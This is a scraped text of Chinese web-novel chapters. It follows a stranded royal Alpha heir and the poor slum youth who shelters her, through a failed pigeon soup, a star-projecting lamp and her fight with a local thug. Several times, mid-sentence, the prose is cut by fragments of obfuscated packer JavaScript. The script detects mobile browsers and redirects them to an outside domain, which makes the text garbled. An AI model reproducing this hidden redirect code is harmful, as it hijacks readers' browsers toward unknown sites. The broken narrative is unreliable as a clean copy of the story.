王室拥有独立的牧场和种植园,她从四岁起,吃的就是最新鲜的草饲牛排,喝的是冷榨果汁,成年后则可日常饮用酒庄专供的葡萄酒。 而营养液从研发之初,就不是为了满足口腹之欲而存在。 它的作用,单纯是解决进食的基本需要。 可如今,这种毫无食物质感的高加工产品,这种她不屑一顾的廉价代餐,却已是简星沉平常舍不得添置的高价物资。 不止如此,他还主动把那张连腿都伸不直的小床让出来,只因为她是伤者。 可他自己也没好到哪去。 现在,这位逞强的伤者裹起薄被,躺在地上侧卧,背对着她。 他忽然打了个喷嚏,蜷起的身形动了动。 静默片刻后,他才从被子底下探出手,小心擤着鼻子,呼吸时发出粘滞的声音。 本该是一瞬间完成的动作,却被他刻意拉长。 他好像不敢闹出太大动静,只是反复地小声吸鼻子,惹得江意衡心烦。 “你不睡?” “我,我睡不着。” 少年好像被抓包一样心虚,手没敢再动,声音更轻,“没事的,你睡吧。” “我不喜欢睡觉的时候有人在旁边。” 江意衡习惯一个人入睡,房间里不能有第二只活物。 就连继母那只人见人夸的宠物猫溜进来,也会被她赶走。 但她毕竟不能把这屋子的主人赶出去。 “我马上就睡着了。” 简星沉缓缓吸着鼻子,“我睡着之后,就跟死人一样,不会烦到你。真的。” 今早被打,确实是他的疏忽。 他没想到,躲了那么多天,难得有一次晚回了几小时,就被小混混堵个正着。 不但丢了废品,还背了一身伤。 疼痛总在夜深人静时最为扎心。 而他仅有的止痛药,都给了江意衡。 简星沉睡不着,又不敢声张,只是用薄被把自己裹得更严实。 屋外寒风呼啸,小窗战栗不息,空气里萦绕着血的丝丝腥气。 这屋子远没有江意衡在王宫的房间宽敞,夜里也没有安神助眠的淡香,床铺的料子更是粗硬扎手。 她只要稍微一动,床架甚至会吱呀作响。 从前不觉得,江意衡现在回想起来,却忍不住怀念过去那些夜晚,她可以穿着细腻亲肤的真丝睡衣,躺在两米宽的松软床垫上,数着窗外星光。 总好过坐在寒风呼啸的黑暗里,与另一个人平分局促,近乎凝滞地期待长夜快些过去。 一宿无眠。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790835|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江意衡清楚地记得,少年夜里捂着被子打过几次喷嚏,也记得他咳过几声,甚至记得他小心擤过几次鼻子。 合着这位名义上的救命恩人,一到晚上,是专门来折磨她的。 天亮以前,简星沉早早就起来叠好薄被,塞到床下。 他重新烧了热水,而江意衡还坐在床边一动不动,身上裹着他姥姥传下来的花被子,眼下浮着两片阴影。 床头那板止痛药拆了三片,还剩三片。 一片管六小时,他想,她今天至少不必担心疼痛。 简星沉披上外套正要出门时,江意衡却喊住他。 “去弄点药。” 她听起来,比她看起来要有精神。 “伤口,还疼吗?”他问得忐忑。 江意衡不以为然地撇起嘴角。 她可不是怕疼的人。 虽然不曾经历这样的外伤,但以前在军中训练,也是真刀实枪地磨练过几个月。 “你一晚没睡,当我不知道?” 这是……在关心他吗? 少年青肿变形的脸上浮现茫然与腼腆。 江意衡旋即泼了他一头冷水:“你睡不着,会影响我睡觉。” 简星沉轻轻“啊”了一声。 他低下头,目光被碎发掩盖。 也是。 她为什么要在意他被别人揍了,为什么要关心他疼不疼。 简星沉搬了几块铜板放上三轮车,骑去老地方换药。 这里是贫民窟人尽皆知的“黑市”,包括止痛药在内的一系列药品,都被季老板一人垄断。 他并不缺钱,在贫民窟,钱远没有物材来得有价值。 本地人别无选择,只能拿着从垃圾场筛出的优质回收品,来这里以物易物。 “又被人打了?” 季老板中年发福,在贫民窟算得上身形富态,说话时,语气甚至带着点和气。 简星沉没出声,只把捆好的铜板递去。 季老板接过物材,戴着铜戒指的手反复摩挲:“纯度不错,刚好可以给我家孩子打个手环。” 他满意地收下,翻出一盒止痛药递给少年。 “我听到风声,中心区那边有人过来,不知道在调查什么。你去垃圾场的时间比别人都早,帮我留意下,最近有没有外区才能见到的高纯度金属。” 他微笑着露出一颗铜牙,“我可以给你熟客特惠,比平常高两成的收购价。” 对季老板这样吝啬的人而言,这几乎是破天荒的让利。 换了任何一个人,都会对他刚才的提议心动。 简星沉点头知会,收好药,打算去隔壁弄点吃的。 可他突然想起,江意衡不喜欢营养液。 他握住车把,犹豫着该买点什么,路边却传来一阵咔咔作响的机械声。 一个男人骑着小摩托缓缓驶过。 车尾绑着几件简陋的狩猎工具,还有一只灰头土脸的白脖子野鸡。 少年踩上踏板的脚顿了一下。 入冬前肉源紧缺,肉价水涨船高,一只活禽足足抵得上他半个月的菜钱。 他或许是买不起。 但如果,他自己去抓呢? 简星沉拨响车铃,朝对方挥手:“请问,这野鸟是从哪儿来的?” 5. 第 5 章 “你说这个?” 男人停下摩托车,指了指绑在车尾的野鸡,“是在老林子那边,挨着湖的地方捉到的。怎么,你也想给媳妇抓一只?” 简星沉摸着脑袋,有点局促:“就是,一个认识的人。” 男人哈哈一笑:“那你可得抓紧了!过冬前的野鸡个顶个的肥,去得晚,就让人逮光喽。” * 贫民窟环境贫瘠,树木歪瓜裂枣,连天上经过的大雁都不屑于在这里歇脚。 野鸟,是当之无愧的稀缺品。 不过,前人的成功好歹给了简星沉一线希望。 循着对方提到的方向,少年顺利摸到了那片林子。 可他一看到稀稀拉拉的树木,顿时犯了愁。 他根本,就不会捉鸟。 更别说,高纬度地区的冬天尤为寒冷。 他每天骑几小时三轮车,为了保暖,身上叠穿好几层衣服,从贴身的棉毛衫、毛衣、小夹克再到外套,整个人裹得比粽子还厚实。 骑车倒还抬得起腿,可要是捉鸟,这身行头就很累赘了。 简星沉每次刚发现野鸟的踪迹,还没来得及上前,这身笨重的穿着就会先一步泄露他的踪迹。 他索性卸了手套和围巾,还把外套也一并褪下,堆在地上。 冷风穿过枝丫,划过他的脖子,沿着脊背毫不留情地一路往下,把他冻得直哆嗦。 可身上那些未愈合的伤口也在低温中逐渐麻木,他反而觉得轻松不少。 时间分分秒秒过去,他趴在野鸟出没的灌木边,完全是凭着生涩的本能守株待兔。 他有耐心,也有毅力。 可他没忘记,昨天晚归时,江意衡脸上嫌弃的表情。 他不想再被嫌弃,所以无论如何,今天都要早一点带着战利品回去。 或许他能在她脸上看到一点点的惊讶。 哪怕只有一点点,也足够了。 简星沉套着单薄衣裳,满怀期待地伏在枯黄的草丛里,冻红的手指扣在地上。 他的耳朵不知道什么时候失去了知觉,好在,这并不影响他分辨四周的风声,枝叶的轻响,还有鸟爪落地时的细微动静。 可他远不如野鸡灵敏。 每当他稍稍靠近,它们总会扑着翅膀,瞬间飞离。 他起先还纳闷,别人是怎么抓到的,旋即想起,摩托车尾挂着一张网兜。 早知道,他也应该从垃圾场捡一张网。 简星沉看向手边。 口袋里还有一把之前漏下的小米,一捆废弃的塑料绳子。 而他褪下的外套,也勉强能用来罩住野鸟。 日渐西沉,林间的光一点点暗去。 他捉鸟的运气并不见好,又不甘心空手而归。 直到一缕斜阳从枝头穿过,落在地上。 那儿,一只野鸽正在慢悠悠地觅食,还毫无防备地咕咕叫着。 * 屋门“吱呀”一声被推开时,江意衡正借着昏黄的灯光,随手翻动少年的课本。 她一抬眼,就看到简星沉顶着一身泥灰从门后出现,脸上的伤不减反增。 “你今天,又挨打了?” 少年却摇摇头,默不作声地从背后拎出一团活物。 是一只头朝下、脚朝上,被塑料绳绑住双腿的鸽子,还在咕咕叫着扑腾。 江意衡忍不住轻嗤一声。 敢情他今天晚归,是因为这只傻乎乎的鸟。 凌乱的鸽羽上都是泥点和草叶,对照少年挂彩的脸看去,她一时分不清,少年和鸽子之间,到底谁更凄惨一点。 简星沉的眼睛亮晶晶的,期待着她能说些什么。 为了这只鸽子,他几乎是在泥巴里滚了一遭,脸上染成土的颜色,身上的伤口也蹭裂了。 可他不在意。 从小到大,他早就习惯了受伤。 逮住这样肥的鸽子,却还是头一次。 江意衡只是兴致索然地抱起胳膊,并没有摆出什么好看的表情。 她看了看鸽子,又看了看他:“我好像,没让你去弄这种东西。” 少年眼里的光芒黯了黯。 但他很快又扬起一丝腼腆笑意,也不知是不是在给自己打气:“都说鸽子炖汤鲜,也补身体。等我炖出锅了,你会喜欢的。” 才怪。 江意衡目视他拎着鸽子去做饭,没有阻拦,但也没抱什么期望。 这是简星沉第一次宰杀活禽。 本以为这一路颠簸回家,鸽子已经认命,他却完全低估了生命在感知到死亡降临时,爆发出的强烈求生欲。 他才刚刚亮出菜刀,鸽子忽然便剧烈扑打翅膀,发疯似的挣扎,死命啄他。 不过是手上一滑,竟然就叫它挣脱了。 狭小的空间里,鸽子咕咕叫着满屋乱窜。 简星沉穿过一片纷飞浮动的鸽羽,弓身追着它打转。 江意衡就坐在床边,目睹着这场人鸽追逐,一副隔岸观火的表情。 那鸽子慌不择路,从她面前闪过。 下一秒,简星沉纵身扑去,与她擦肩而过,最后摔在地上,发出一声砰响。 江意衡垂下视线。 汗珠顺着少年的额角滑落,糊在紫红色伤口上。 开裂的双手拼命压住鸽背,眼里虽有欣喜,嘴角却因疼痛而僵硬。 他手臂上的伤口必然裂了,因为她看到,鲜血的颜色从毛衣下面渗出来。 简星沉倒吸冷气,按着鸽子原地跪了许久。 好一会,他才抬头,露出抱歉的神色:“对不起,我刚才,不是故意从你旁边冲过去的。” 江意衡撇起嘴角,冷声抛下一句:“别忘了吃你的止痛药。” 简星沉抱着鸽子,慢慢爬了起来,微跛着脚,朝水池走去。 他小时候见过姥姥杀鸡,所以勉强还能循着遥远的记忆,烫掉鸽毛,掏空内脏。 但再具体的烹调细节,他就想不起来了。 一把干姜片撒进新煮开的热水里,他把去了羽毛和内脏的鸽子放进锅里,盖上锅盖,转小火炖着。 这一炖,就是整整三个小时。 空气中满溢着姜的辛辣与浓重的肉味。 等他终于关火,夹出鸽腿端上桌时,江意衡才微微倾身,闻了一下。 她抬起小勺,在漂浮着油花的碗里拨了拨,舀起一勺,却没有入口,只是又斜过勺,让汤水一滴滴落回碗里,在水面激起一道道迅疾的涟漪。 “不尝尝吗?”简星沉问得小心翼翼。 炖了这么久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790836|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他确信鸽子肉已经软烂,散发出的肉香连他自己都垂涎欲滴。 可这毕竟是为她准备的食物,他希望她能品尝第一口。 勺子落回碗里,发出一声轻响。 江意衡扭头看他,语气不算客气:“这么腥。你还不如就买营养液。” 她忍到现在,无非是想看着,他能弄出什么花样。 从他带着野鸽回到屋里的那一瞬间,空气中就一直弥漫着野禽特有的泥腥味。 他用开水烫去鸽羽时,散发出的潮热腐味简直令她作呕。 而接下来三个小时炖煮的过程,更是将肉腥味炖进她的意识里。 江意衡一直笃信,最好的食材无需多余佐料,仅凭自身原有的鲜味,就足以征服味觉。 可这只不幸在贫民窟落脚的野鸽子,显然不是如此。 偏偏少年能拿得出手的调料,也就一点盐和干姜,加上两瓶不知是酱油还是醋的东西。 他或许是个合格的拾荒者,但不是个合格的厨子。 他根本,就不会烹饪野鸟。 “你忙了这么久,这汤,你自己喝。” 江意衡起身,头也不回地离开小桌,“我没胃口。” 少年垂眸注视着那碗汤,目光里盈满沉默。 他坐了很久,直到面前再没有热汽升起,才端起碗,慢慢把汤喝掉,细细啃去鸽腿上的每一点肉。 余下的大半只鸽子,被他连锅一起摆在门边。 那里温度最低,即便是荤菜也没那么容易摆坏。 这晚,简星沉没忘记按照她的嘱咐,吃了她让他买的止痛药。 药效生效后,他确实没那么疼,也比她更早睡着了。 而他真正睡着的时候,果然就如他自己所说,安静得,好像死了一样。 只余下江意衡迟迟无法入眠。 她甚至有些羡慕,少年居然能睡得那么踏实。 不过睡眠再差,她也还是个头部受伤的人,昨晚又几乎是硬生生坐过去的。 即便是帝国最好的士兵,也不可能连着熬过两晚还保持清醒。 江意衡记不得,自己是什么时候睡着的。 但她清楚地记得,自己在梦中见到了什么。 四岁的她,捧着一大束花枝,从王宫的大理石地板上噔噔跑过,路过一列白玉石柱,终于追上一个人。 那人停下脚步,修长温润的指尖轻拂过她的发丝。 她于是满怀期待,把手里的茉莉花枝高高举起。 “意衡。” 对方念出她名字的语气明明还算平和,可目光却在触及花朵的瞬间,倏然变冷。 “谁让你,把妈妈最讨厌的花送来的?” 画面至此定格,黯去。 江意衡猛然睁开双眼,身上冰冷浸湿,显然是睡梦中盗汗的迹象。 她听到自己在黑夜里的呼吸,沉重、紊乱。 心脏在胸腔中急促跳动,浑身克制不住地发抖。 喉咙干涩得仿佛脱水一样,连句话都说不出来。 是惊厥发作。 江意衡伸出一只手,在身侧胡乱摸索,想给自己灌点酒,或是药。 只要是有水的东西,都行。 可她的指尖还未触及水杯,却先落入一片温暖的掌心。 6. 第 6 章 黑暗中,简星沉抓住她的手,站在床前。 “你做噩梦了?” 他的声音温和,带着一丝忐忑,好像生怕话音一重,就会再次惊吓到她。 “没有。”江意衡放缓呼吸,迫使自己平静。 少年轻声道:“我刚才,听到你在喊妈妈,还以为……” 江意衡抽出那只被他握住的手,指腹还残留着他手上的温度。 她的声音却很冷淡:“怎么,在梦里发出动静,是什么很稀奇的事,让你产生你很了解我的错觉?” 少年蜷起五指,唇角抿着,没再说什么。 他的另一只手上端着半截点燃的蜡烛,烛光映在他的侧脸,照出一块块用来遮伤的纱布。 “你可以回去睡觉了。” 江意衡希望他能识趣地走开,别再撞见她惊厥发作的模样。 简星沉转身绕过地铺,从墙边的箱子里翻出一个奇怪的东西,带回床前。 “我不是存心打扰你睡觉,”他向她解释,“只想留下这个。” 那是一盏斑驳带锈的铁皮灯。 底座上安着刚才那半截蜡烛,但没有灯罩,只有一个横过来的风车,轻微变形的扇叶上刻满了镂空的星星。 烛火幽幽,热气升起,风车渐渐转动起来。 熹微烛光将星星的形状投在天花板上,墙上,还有少年身上。 “我小时候,只要睡不着,姥姥就会把这盏灯放在我的床边。我听着她的声音,再看着头顶的星空,很快就能入梦。” 他低头端详这盏小灯,脸上是怀念神色,“我虽然不知道你梦到什么,但我希望,它也能让你睡个好觉。” 他放下这盏灯,就回到自己的地铺,盖上薄被,留给她一道安静的背影。 居然拿着哄小孩的话来哄她。 江意衡在心底抱怨,视线却不由追寻着星星的投影。 那片微弱的星空在屋里流转,一次又一次,从少年蜷缩在地的背影上拂过。 从小到大,她因为母亲的事故,和父亲施加的压力,很容易遭遇梦魇,也很容易惊醒,惊厥、失眠都是家常便饭。 她看过许多医生,服过不少药剂,从正规治疗到旁门左道,所有能试的手段,她都试过。 但这毛病却根深蒂固,难以治愈。 最严重的时候,坐在王位上的父亲曾扼腕叹息,王室怎么会有像她这样的子嗣。 他坚信王室血脉牢固坚|挺,认定那是由她母亲引入的基因缺陷,却刻意忽视了,江意衡第一次惊厥发作,恰恰是因为得知母亲离世的噩耗。 时间久了,她似乎也忘记,自己年幼时曾是无忧无虑,只随着父亲一起,把这当成是一种无法根治的顽疾。 偏偏今晚,有人为她点了一盏灯。 一件破旧的,存在缺陷,做工粗糙,与精致毫不相干的东西。 一件没有多少技术含量,也没太多讲究的东西。 一件她以前没见过,也绝对不会注意的东西。 可为什么,它就是能让她平静。 江意衡的目光从星空中收回,又落到少年身上。 月光透过小窗,洒落在他的发顶与肩头,为他镀上一层宁谧的光晕。 而他睡得那么安稳,那么恬静。 江意衡久久注视着他的背影,不知不觉合上眼睛。 一觉到天亮,一夜无梦。 * 天光透过小窗渗入,为狭小的屋子铺上一层浅浅的金色。 江意衡睁开眼,眉目舒展。 难得能睡好觉,她连呼吸都觉得顺畅了不少。 此时摸着头上的纱布,已经感觉不到有血渗出,伤口约莫已经结痂愈合。 少年起得比她早,正在擦拭桌上新积的灰。 江意衡叫住他:“已经过了两天,纱布该换了。” 简星沉点点头,放下抹布,又洗了手,才取来干净的纱布和剪刀,帮她拆开头上由纱布裹出的帽子。 可他没想到,江意衡的伤口愈合得这么快。 原本深达半指的伤口全部结痂脱落,随着纱布一起被他揭下,露出的额头干净如新。 简星沉隐约听说,分化等级越高的人,身体素质越是过硬。 但这毕竟是江意衡的隐私,他没想过刻意打听,就像他也不希望,别人打听他的隐私。 江意衡察觉到他的视线顿了一下。 “我的伤口怎么样了?” 少年没说什么,脸上却写满惊讶。 江意衡失去耐心:“到底怎么样?这屋里,只有你能当我的镜子。” 话音刚落,他垂下脸,好像试图掩饰什么。 江意衡觉得古怪。 自己头上这伤,总不会还没长好吧? 她再也坐不住,手指往头发里戳,恨不得把每一寸头皮都确认过。 简星沉慌忙摆手:“你现在,就挺好看的……” 他的话语磕绊,脸上泛着心虚的红,实在没什么说服力。 江意衡追问:“你什么意思?” “我,我是说,你看起来挺好的……” 他澄清时,目光从她脸上挪开,又小声道,“伤好了,纱布应该不需要了。” 江意衡嗤之以鼻。 她就知道,以自己的实力,这点皮外伤,不至于养了两天两夜还没愈合。 拆掉纱布做的帽子,她感觉头上轻松不少。 只是当她顺手撩起发丝的时候,鼻子不由一皱。 到底有两天没洗过澡,这对她来说,也是破纪录了。 她忍不住问他:“你平常都怎么洗澡?” 简星沉茫然指着卫浴一角:“我擦澡,我一般……不洗澡。” 他只要出汗,就会用毛巾打上肥皂,擦遍全身,再用清水一点点抹干净。 虽然是在贫民窟,自来水却不廉价。 无论是淋浴还是沐浴,洗澡都是奢侈的事情。 江意衡顺着他指的方向看去。 墙上挂着一个小铁盆,旁边搭着一块用旧的方巾,下面是一张矮到可怜的小板凳,都是他擦澡时用的。 她觉得不行。 * 简星沉今天没去垃圾场,却从集市淘了个塑料水桶。 搬进屋后,他仔仔细细把桶壁刷了一遍,然后一锅又一锅地烧水,调好水温,还拆了一块新香皂。 江意衡安然坐进水里,因为桶很小,她的活动很受限,但至少能闻着水里那一把陈皮香,舒缓疲劳。 水温只比体温略高,泡着正合适,她慢条斯理地用香皂搓出泡沫,抹上发丝,还滑过肩上的皮肤。 直到她忽然想起,少年好像消失了一样,没出过声。 江意衡一扭头,就看到简星沉背对她坐在桌前。 他特意把桌子搬远了,专心低头看书,像块木头。 “水有点凉,来帮我加热水。” 少年只是点头,人愣是没挪过位置,好像压根没听进心里。 江意衡在水里抱着胳膊,提高嗓音:“点什么头,你坐在那,要怎么给我加热水。” 简星沉这才如梦初醒,起身提起保温瓶,把备用的热水倒进脸盆,又拿来舀水的瓢。 他别过脑袋,完全没在看她,好像打算靠着第六感给她舀水似的,那水瓢眼看着就要把水泼到地上。 “行了,还是我来。”江意衡顺走他手里的瓢。 他的手顿在半空,指尖虚握,刚打算折回桌前,又被喊住。 “别走,我还有事要你帮忙。” 少年僵在原地,肩膀内收,整个人很拘谨。 江意衡觉得好笑:“你紧张什么?帮我把衣服拿来。” 她来这儿的时候,身上就那么一条白色正装裙,剪裁板正,料子挺括,不止在飞船事故中沾上血迹,还被勾出好几处线头。 屋里窜风,那裙子护不住胳膊和小腿,穿起来远不如平日里在恒温环境下暖和。 简星沉很快从箱子里翻出衣服,虽然旧,但叠得整齐,上面还有樟脑的气味。 “这是我姥姥的衣服,穿着不刺挠的。”他抖开一件米色针织衫,看着有点短。 江意衡问他:“你姥姥多高?” 他没有对上她的目光,仍然保持分寸:“一米六。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790837|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一旦年纪大了,身高就会缩水,何况一米六与一米八有本质区别,穿在自己身上,估计会小。 江意衡转而打量少年。 作为一个Beta,他足够高,只是瘦了点。 “要不然,我穿你的衣服。” 简星沉的脸又红了。 他今天,好像特别容易脸红。 少年的衣服本就宽大,穿在江意衡身上虽然不算贴合,但至少不会露出腹部或者小腿,能很好地帮她挡一挡寒气。 简星沉正打算把桶里的水倒掉,江意衡又喊住他:“水还温着,你也去泡一会。” 说完就自然而然坐回床边,拿起他的旧T恤,给自己擦头发。 她说得如此理所当然,仿佛只是在嘱咐他,喝她剩下的半杯水。 可这明明是她刚刚泡过的热水。 简星沉半蹲在桶前,目光落入水中,随着那些泡开的陈皮沉浮。 他整个人有些懵。 “你不介意我,泡你的洗澡水吗?” “我为什么要介意。” 江意衡觉得奇怪,“你不是很节省吗?我难得体谅你一次,你怎么还不领情。” 简星沉马上站起来,手指扒着桶沿,坚定道:“我,我也不介意!” 然后小声追加了一句:“谢谢你。” 江意衡心安理得地继续擦头发。 十五平的屋子也就这么一点空间,泡澡桶摆在中间,她甚至不用刻意抬眼,余光就能轻易扫到。 简星沉没有足够宽大的浴巾,只扯了件衬衫挡住自己光溜溜的脊背,迅速爬进浴桶,然后调整坐姿背对她。 江意衡泡过的水里有种淡香,其中一些是陈皮清香和皂香,余下的,他也说不准。 大约是热汽熏蒸的缘故,一想到她方才就坐在同一个桶里,他便止不住地耳根发烫,恨不得水位再高一点,好让他把脑袋埋进去。 江意衡总算把头发擦得半干,拿起他找出的木簪,替自己盘好头发。 可一抬头,她就看到少年的耳垂红得滴血。 水有这么热吗? 她微微皱眉。 少年正小心翼翼用水瓢舀起水,却一下子浇在脸上,打湿的头发垂下遮住眼睛,看着确实不像泡过澡的样子。 江意衡提了句:“你得把手举高一点,往后一点。” 简星沉一下子顿住动作。 他没料到江意衡在看他。 江意衡好像在憋笑:“我刚才,一直就看着你往脸上舀水,你都不觉得别扭?” 简星沉连头发丝都僵了。 她刚才,到底看了多久。 江意衡没心情管他纠结什么,她只是觉得,他给自己舀水的样子笨拙得有趣。 而且除去衣物后,少年看着更是白皙瘦削,头发湿漉漉的样子,像一只被迫洗澡、委屈巴巴的小狗。 可她平常,明明就不在意小猫小狗。 少年仍在安静克制地给自己浇水,江意衡随口问他:“以后考虑去餐馆兼职吗?像你这样的Beta,去好一点的餐馆打工,能赚不少小费。” 他身上的温驯感,会很适合A区的服务业。 简星沉却很坚定:“我想种花。如果可以,我想去苗圃基地打工。” C区的农业最为发达,但没什么好学校,来回坐长途汽车,对学业可没半点好处。 江意衡打消念头:“当我没问过。” 简星沉只泡了十分钟,就匆匆擦干身子换上衣服,去门外倒水。 他看着虽瘦,但因为捡多了垃圾,力气并不小,扛着带水的泡澡桶,还能走得稳当。 可足足一刻钟过去,他也没带着空桶回来。 江意衡终于按捺不住,出门找人。 刚绕过屋前转角,她就听到不远处传来一阵争吵。 “小垃圾最近怎么鬼鬼祟祟的,还弄了个泡澡桶,奢侈得很呢!” 染着一绺紫发的青年正揪着少年的头发,说得尤其难听。 “才几天没见,你就忘了自己是什么货色?一个成年了都分化不了的废物,也敢在老子面前装?” 7. 第 7 章 十米开外,江意衡不动声色地观察着眼前这一幕。 简星沉被小混混死死揪住头发,虽然侧着身试图挣脱,但动作吃力,整个人处于下风。 “放开我!”他忿忿喊道。 对方却不为所动。 “像你这种分化不了的废物,上辈子肯定是亏心事做多了,连老天都看不下去,才让我逮着。” 他像逗狗似的,对着少年啧了一声,“你说你一个人,要这么大的桶干什么?我石彪告诉你,你今天如果不解释得让我高兴,就别想走。” 江意衡这才确认,自己没听错。 那个自称石彪的小混混在羞辱简星沉,还骂他是个分化不了的废物。 可她明明记得少年说过,他是个Beta。 联系他之前的躲闪表现和抗拒姿态,她忽然明白,是他对她说了谎。 目光掠过少年惊慌失措的表情,江意衡抱起手臂,转而朝着石彪抬起下巴:“喂。” 石彪一回头,看到不远处的江意衡,神色有些意外。 但他很快就收拾好表情,重新扯出一副吊儿郎当的嘴脸,瞥了一眼被他揪住头发、摁在墙角的少年。 “看不出来,你小子,居然藏了人。” 他咧嘴笑了笑,脸上满是油腻的痞气,视线带着玩味,打量起江意衡。 个子比他还高,目光比他冷,周身莫名有种气场,让他心里忍不住发憷。 虽然穿着一身属于男人的旧衣裳,还裹着个土里土气的毯子,却是贫民窟里养不出的气质逼人。 单是脸上的骨相就贵气得很,总觉得像是报纸上的名流走错地方。 石彪来了兴致。 他瞄朝江意衡龇出一口半黄的牙:“你跟这小子,住在一起?” 江意衡挑眉,摆出一副“关你屁事”的表情。 “在我面前打人,你家里人没教过你规矩?” 石彪乐了。 他不自觉地用舌头舔过后槽牙,弯腰凑近少年耳边,笑出声来:“你小子什么时候,给自己讨了个靠山?人高马大,脾气也不小。” 他还刻意把侮辱人的称呼念得清晰:“就你一个废物,怎么也敢痴心妄想?她看着,就不像你能攀上的人。” 简星沉拼命抬头,望向江意衡的目光带着惊恐。 石彪是贫民窟里人人避之不及的地痞流氓,刚才那些毫不留情的羞辱和谩骂,恐怕江意衡都听到了。 如今,她一定知道,自己在分化的事情上,对她说了谎。 他不敢想,江意衡会怎么看他。 可江意衡的表情,只是一如既往地淡漠,带着天然疏离,冷如腊月寒霜。 她迟迟未再上前一步,只是冷眼掂量着现状。 贫民窟的小混混,胆子还不小。 从她出声到现在这几分钟,石彪一直赖着不走,一点也不会看眼色。 江意衡歪过头,目光里的锐意像刀锋,毫不掩饰地逼向石彪。 “还不放人?” 简星沉没想过,她居然会站在他这边。 明明理亏的是他,心虚的也是他。 这样的他,甚至没有底气辩驳什么,一点也不值得她同情。 他不是唯一一个对此感到诧异的。 石彪也愣住了。 他怎么也没想到,像简星沉这样的人,居然还有人护着。 这小子很小的时候就没了双亲,跟姥姥相依为命,而当姥姥去世后,他就成了贫民窟里人尽皆知的受气包。 但这也怪不了别人。 少年那副躲躲藏藏、唯唯诺诺的样子,看着让人来气,天生就欠教训。 他石彪,好歹在这一带混出了名声,谁听到他的名字不得让他三分。 凭什么一个人高马大的外人,上来就气势汹汹让他放人? 她当她是这里的主人呢。 石彪瞅着江意衡,故意不屑地从牙缝里嗤出声音。 贫民窟里遍地是生活拮据的Beta,石彪几乎没见过Alpha,也不熟悉帝国政权。 他不知道,眼前这位人高马大的外来者,正是当今王室的顶级Alpha继承人。 不过,身为当地的地痞头子,他从不缺胆量,也不会在江意衡面前露出半点怯色。 “不放?” 江意衡见他迟迟不配合,伸手把毯子丢到地上,大步向前。 “有本事就试试。” 石彪搓着手掌,迫不及待想活动活动筋骨。 他打过不少架,揍人不眨眼,练出一身野蛮招式,自认还有两下子。 这一次,也打算好好教训一下这个跋扈的外人。 只是,江意衡的体能在Alpha中本就出类拔萃,还在军中着重训练过近身格斗。 石彪一拳还没挥出,就被她抬肘反击,锁住手腕。 擒住少年的那只手发出关节脱臼的咔响,石彪当即惨叫着摔倒在地。 江意衡把人踩在脚下,故意模仿他方才的姿态,微微弯腰,近乎威胁般压低声音警告:“有多远,就滚多远。” 她刚抬脚,石彪就连滚带爬从地上蹿了起来。 他捂着脸上被踩出的鞋印,明明腿都吓软了,嘴上却不肯服输:“别以为这就算了!老子,老子还会回来的!” 说完,慌不择路地拔腿狂奔而去。 地上只留下一张被踩皱的小报。 平日里习惯了无纸化办公,江意衡已经不记得,上一次是什么时候看到印满油墨的报纸了。 她提起折起的纸页边角,在墙上拍去灰尘,好奇地翻看起来。 是《F区晨报》,没什么大名气的本地报纸。 版面上密密麻麻,全是毫无新意的的日常通报。 诸如哪里又开设新的垃圾场,F区的税收政策有什么调整,还有政府对特定回收物加强管控,中心区派人前来视察等等。 报纸专门为帝国王室留了两大版。 江意衡一眼扫过,只见一派安好无虞,仿佛她仍在王储的位置上处理公务,没有遭遇飞船失事,更没有流落到贫民窟。 遇事不声张,正是父亲的一贯做派。 不过她心里有数,近卫队的人应该已经在路上了。 所谓的“中心区派人来F区视察”,多半是个掩人耳目的借口。 江意衡合起报纸时,简星沉才在地上挪了挪手脚。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790838|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用手肘撑着地,试图起身,指尖反复抓紧又松开的样子,分明有些吃力。 “能起来吗?” 少年点点头,刘海凌乱地遮住眼睛,两只脚在地上圾拉了好一会,才慢吞吞地爬起来。 他的呼吸还未平复,江意衡已经捡起毯子,转身回去了。 简星沉抬起手背,仔细拂去脸上的灰,望着她的背影,有些失落。 